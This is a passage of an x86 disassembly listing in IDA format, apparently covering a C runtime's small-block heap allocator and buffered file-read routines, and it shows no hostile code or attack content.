loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax

loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax

loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43FB90, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43FB80
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------

loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4E21C4
		nop
		call	near ptr 27C0000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3

loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43FB80
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43FB80, 0
		jnz	short loc_41E9F6
		mov	off_43FB80, eax

loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43FB84, 0
		jnz	short loc_41EA1B
		mov	off_43FB84, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------

loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43FB84
		mov	[esi+4], eax
		mov	off_43FB84, esi
		mov	eax, [esi+4]
		mov	[eax], esi

loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h

loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch

loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------

loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------

loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 28D055Eh

loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43FB80
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4E21C4
		nop
		call	near ptr 27B060Ah

loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax

loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	near ptr 28D055Eh
		nop
		cmp	off_441BA0, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_441BA0, eax

loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43FB80
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4E21C4
		nop
		call	near ptr 27B060Ah
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43FB90, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43FB84
		push	edi

loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h

loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 28D055Eh
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4E0BA4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F

loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi

loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84

loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36

loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx

loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B

loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx

loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43FB84
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D

loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43FB80
		push	esi
		mov	ecx, edx

loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0

loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------

loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------

loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4E0BA4
		cmp	dword_4E0BA4, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_441BA0
		push	edi

loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1

loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx

loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------

loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]

loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A

loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx

loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------

loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]

loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_441BA0
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------

loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_441BA0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------

loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43FB80
		mov	edi, eax

loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68

loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------

loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97

loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86

loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 28D06E1h
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx

loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4

loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_441BA0, edi
		lea	eax, [edi+2018h]

loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------

loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax

loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------

loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_441BA0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------

loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax

loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------

loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------

loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi

loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E

loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi

loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------

loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------

loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93

loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------

loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi

loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB

loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]

loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax

loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------

loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------

loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi

loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------

loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------

loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------

loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------

loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]

loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------

loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax

loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------

loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]

loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------

loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi

loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021

loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A

loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------

loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax

loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx

loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1

loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------

loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------

loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax

loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4E1E80[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------

loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_442200

loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx

loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h

loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0

loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4E1F80
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4E1E80h[eax*4]
		mov	eax, dword_4E1E80[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah

loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	near ptr 2700000h
		nop
		test	eax, eax
		jnz	short loc_41F1E4
		nop
		call	near ptr 268086Bh
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4E0B28, 9
		mov	dword_4E0B2C, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------

loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8

loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------

loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
